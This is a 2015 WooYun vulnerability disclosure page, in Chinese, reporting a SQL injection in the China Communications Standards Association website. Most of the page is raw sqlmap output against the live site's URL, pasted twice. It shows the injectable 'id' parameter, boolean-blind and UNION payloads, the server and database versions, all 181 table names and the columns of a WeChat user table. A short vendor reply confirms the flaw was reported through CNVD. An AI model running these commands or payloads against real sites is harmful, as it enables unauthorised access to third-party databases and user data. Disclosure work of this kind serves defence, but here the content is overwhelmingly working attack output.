当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126957

漏洞标题:中国通信标准化协会存在漏洞

相关厂商:中国通信标准化协会

漏洞作者: 路人甲

提交时间:2015-07-15 16:55

修复时间:2015-08-31 16:16

公开时间:2015-08-31 16:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-15: 细节已通知厂商并且等待厂商处理中
2015-07-17: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向核心白帽子及相关领域专家公开
2015-08-06: 细节向普通白帽子公开
2015-08-16: 细节向实习白帽子公开
2015-08-31: 细节向公众公开

简要描述:

RT

详细说明:

root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:05:50
[16:05:50] [INFO] resuming back-end DBMS 'mysql'
[16:05:50] [INFO] testing connection to the target URL
[16:05:51] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:05:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:05:51] [INFO] fetching database names
available databases [2]:
[*] ccsadoc
[*] information_schema
[16:05:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:05:52
root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --table -D "ccsadoc"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:08:52
[16:08:53] [INFO] resuming back-end DBMS 'mysql'
[16:08:53] [INFO] testing connection to the target URL
[16:08:53] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:08:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:08:54] [INFO] fetching tables for database: 'ccsadoc'
Database: ccsadoc
[181 tables]
+------------------------------+
| annex |
| annex2 |
| arch_group |
| archives |
| awardinfo |
| awardlevel |
| baopi |
| baopi_doc |
| baopi_group |
| baopi_reject_log |
| baopi_state |
| baopi_state_log |
| baopi_to_company |
| bpg_question |
| bpggs |
| bpggs_qs |
| bulletin_t |
| ccs |
| ccs_to_ics |
| ccsa_ieee |
| ccsa_tx |
| cert_apply |
| cert_evalution |
| cert_property |
| cert_std |
| city |
| cjk_account |
| cjk_meeting |
| cjk_meeting_docs |
| conference |
| del_annex2tmp |
| del_arch_annex |
| del_attitude |
| del_ccsastd |
| del_comment |
| del_company |
| del_company_to_meeting |
| del_company_type |
| del_config |
| del_contact |
| del_enews |
| del_expert |
| del_images |
| del_jn_article |
| del_jn_articleold |
| del_jn_author |
| del_jn_column |
| del_jn_journal |
| del_jn_no |
| del_mail_mem |
| del_manager |
| del_meeting_expand |
| del_meeting_receipt_bak |
| del_meeting_report |
| del_mem_groupbak |
| del_member_060315 |
| del_memberbak |
| del_ml_subscriber |
| del_mlist_mem |
| del_mt_delegate |
| del_mt_loginlog |
| del_mt_speaklog |
| del_mt_subject |
| del_mt_unitlist |
| del_news_group |
| del_poll |
| del_prjgroup |
| del_prjlist |
| del_prjphase |
| del_project20110517 |
| del_project_to_group20110517 |
| del_project_to_major |
| del_project_to_member |
| del_receipt |
| del_receiptold |
| del_searchtable |
| del_specialist_bk |
| del_specialist_grp_bk |
| del_tc_expert |
| del_unit |
| del_vote |
| del_voteinfo |
| del_votelog |
| del_wireless |
| del_workgroup_lkch |
| disclosure_info |
| dload_log |
| dload_log20150216 |
| doc_type |
| firstlevel_org |
| hytype |
| ics |
| ieee_download_info |
| images |
| important_field |
| increase_mem_group |
| increase_tcwg |
| innerfile |
| joint_type |
| letter_doc |
| letter_group |
| letters |
| license_info |
| lishi_view |
| maillist |
| manage_regulation |
| meeting |
| meeting_captain |
| meeting_doc |
| meeting_email_log |
| meeting_group |
| meeting_member |
| meeting_members |
| meeting_receipt |
| mem_annex |
| mem_chg_info |
| mem_group |
| member |
| member20141028 |
| member_to_company |
| member_type |
| member_view |
| mobileTV_docs |
| mobile_member |
| oplog |
| patent |
| patent_general |
| patent_general_to_tc |
| patent_special |
| prj_department |
| prj_field |
| prj_importance |
| prjclass |
| prjclass_to_baopi_state |
| prjcode |
| prjcode1 |
| prjcode2 |
| project |
| project_change_log |
| project_digest |
| project_old |
| project_plan |
| project_role |
| project_to_company |
| project_to_contact |
| project_to_group |
| project_to_std |
| province |
| qykind |
| recorder |
| ref_type |
| small_com_app |
| specialist |
| specialist_grp |
| specialistgrp |
| std_level |
| std_to_important_field |
| std_type |
| submit_baopi |
| suggest |
| suggest_item |
| tc |
| tc11_chg_log |
| tmpmem_annex |
| tmpmem_group |
| tmpmember |
| tmpmember_to_company |
| tmpprj |
| user_t |
| wengao |
| wg_suggest |
| workfile |
| workgroup |
| worknews |
| worknews_to_tc |
| wx_access_token |
| wx_user |
| zdxm |
| zuc_request |
| zxzz_tmp |
| zxzz_view |
+------------------------------+
[16:08:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:08:56
root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --columns -T "wx_user" -D "ccsadoc"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:13:21
[16:13:21] [INFO] resuming back-end DBMS 'mysql'
[16:13:21] [INFO] testing connection to the target URL
[16:13:21] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:13:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:13:22] [INFO] fetching columns for table 'wx_user' in database 'ccsadoc'
Database: ccsadoc
Table: wx_user
[13 columns]
+----------------+------------------+
| Column | Type |
+----------------+------------------+
| language | varchar(255) |
| city | varchar(255) |
| com_NO | int(11) |
| country | varchar(255) |
| date_added | timestamp |
| headimgurl | varchar(255) |
| id | int(11) |
| nickname | varchar(63) |
| openid | varchar(255) |
| province | varchar(255) |
| sex | set('0','1','2') |
| subscribe | set('0','1') |
| subscribe_time | bigint(20) |
+----------------+------------------+
[16:13:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:13:24

漏洞证明:

root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:05:50
[16:05:50] [INFO] resuming back-end DBMS 'mysql'
[16:05:50] [INFO] testing connection to the target URL
[16:05:51] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:05:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:05:51] [INFO] fetching database names
available databases [2]:
[*] ccsadoc
[*] information_schema
[16:05:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:05:52
root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --table -D "ccsadoc"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:08:52
[16:08:53] [INFO] resuming back-end DBMS 'mysql'
[16:08:53] [INFO] testing connection to the target URL
[16:08:53] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:08:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:08:54] [INFO] fetching tables for database: 'ccsadoc'
Database: ccsadoc
[181 tables]
+------------------------------+
| annex |
| annex2 |
| arch_group |
| archives |
| awardinfo |
| awardlevel |
| baopi |
| baopi_doc |
| baopi_group |
| baopi_reject_log |
| baopi_state |
| baopi_state_log |
| baopi_to_company |
| bpg_question |
| bpggs |
| bpggs_qs |
| bulletin_t |
| ccs |
| ccs_to_ics |
| ccsa_ieee |
| ccsa_tx |
| cert_apply |
| cert_evalution |
| cert_property |
| cert_std |
| city |
| cjk_account |
| cjk_meeting |
| cjk_meeting_docs |
| conference |
| del_annex2tmp |
| del_arch_annex |
| del_attitude |
| del_ccsastd |
| del_comment |
| del_company |
| del_company_to_meeting |
| del_company_type |
| del_config |
| del_contact |
| del_enews |
| del_expert |
| del_images |
| del_jn_article |
| del_jn_articleold |
| del_jn_author |
| del_jn_column |
| del_jn_journal |
| del_jn_no |
| del_mail_mem |
| del_manager |
| del_meeting_expand |
| del_meeting_receipt_bak |
| del_meeting_report |
| del_mem_groupbak |
| del_member_060315 |
| del_memberbak |
| del_ml_subscriber |
| del_mlist_mem |
| del_mt_delegate |
| del_mt_loginlog |
| del_mt_speaklog |
| del_mt_subject |
| del_mt_unitlist |
| del_news_group |
| del_poll |
| del_prjgroup |
| del_prjlist |
| del_prjphase |
| del_project20110517 |
| del_project_to_group20110517 |
| del_project_to_major |
| del_project_to_member |
| del_receipt |
| del_receiptold |
| del_searchtable |
| del_specialist_bk |
| del_specialist_grp_bk |
| del_tc_expert |
| del_unit |
| del_vote |
| del_voteinfo |
| del_votelog |
| del_wireless |
| del_workgroup_lkch |
| disclosure_info |
| dload_log |
| dload_log20150216 |
| doc_type |
| firstlevel_org |
| hytype |
| ics |
| ieee_download_info |
| images |
| important_field |
| increase_mem_group |
| increase_tcwg |
| innerfile |
| joint_type |
| letter_doc |
| letter_group |
| letters |
| license_info |
| lishi_view |
| maillist |
| manage_regulation |
| meeting |
| meeting_captain |
| meeting_doc |
| meeting_email_log |
| meeting_group |
| meeting_member |
| meeting_members |
| meeting_receipt |
| mem_annex |
| mem_chg_info |
| mem_group |
| member |
| member20141028 |
| member_to_company |
| member_type |
| member_view |
| mobileTV_docs |
| mobile_member |
| oplog |
| patent |
| patent_general |
| patent_general_to_tc |
| patent_special |
| prj_department |
| prj_field |
| prj_importance |
| prjclass |
| prjclass_to_baopi_state |
| prjcode |
| prjcode1 |
| prjcode2 |
| project |
| project_change_log |
| project_digest |
| project_old |
| project_plan |
| project_role |
| project_to_company |
| project_to_contact |
| project_to_group |
| project_to_std |
| province |
| qykind |
| recorder |
| ref_type |
| small_com_app |
| specialist |
| specialist_grp |
| specialistgrp |
| std_level |
| std_to_important_field |
| std_type |
| submit_baopi |
| suggest |
| suggest_item |
| tc |
| tc11_chg_log |
| tmpmem_annex |
| tmpmem_group |
| tmpmember |
| tmpmember_to_company |
| tmpprj |
| user_t |
| wengao |
| wg_suggest |
| workfile |
| workgroup |
| worknews |
| worknews_to_tc |
| wx_access_token |
| wx_user |
| zdxm |
| zuc_request |
| zxzz_tmp |
| zxzz_view |
+------------------------------+
[16:08:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:08:56
root@kali:~# sqlmap -u "http://www.ccsa.org.cn/worknews/content.php3?id=3121" --columns -T "wx_user" -D "ccsadoc"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:13:21
[16:13:21] [INFO] resuming back-end DBMS 'mysql'
[16:13:21] [INFO] testing connection to the target URL
[16:13:21] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3121 AND 9841=9841
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=3121 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7071,0x5a6f73724f6f6159646e,0x7176707171),NULL#
---
[16:13:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5
[16:13:22] [INFO] fetching columns for table 'wx_user' in database 'ccsadoc'
Database: ccsadoc
Table: wx_user
[13 columns]
+----------------+------------------+
| Column | Type |
+----------------+------------------+
| language | varchar(255) |
| city | varchar(255) |
| com_NO | int(11) |
| country | varchar(255) |
| date_added | timestamp |
| headimgurl | varchar(255) |
| id | int(11) |
| nickname | varchar(63) |
| openid | varchar(255) |
| province | varchar(255) |
| sex | set('0','1','2') |
| subscribe | set('0','1') |
| subscribe_time | bigint(20) |
+----------------+------------------+
[16:13:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.ccsa.org.cn'
[*] shutting down at 16:13:24

修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-17 16:15

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态:

暂无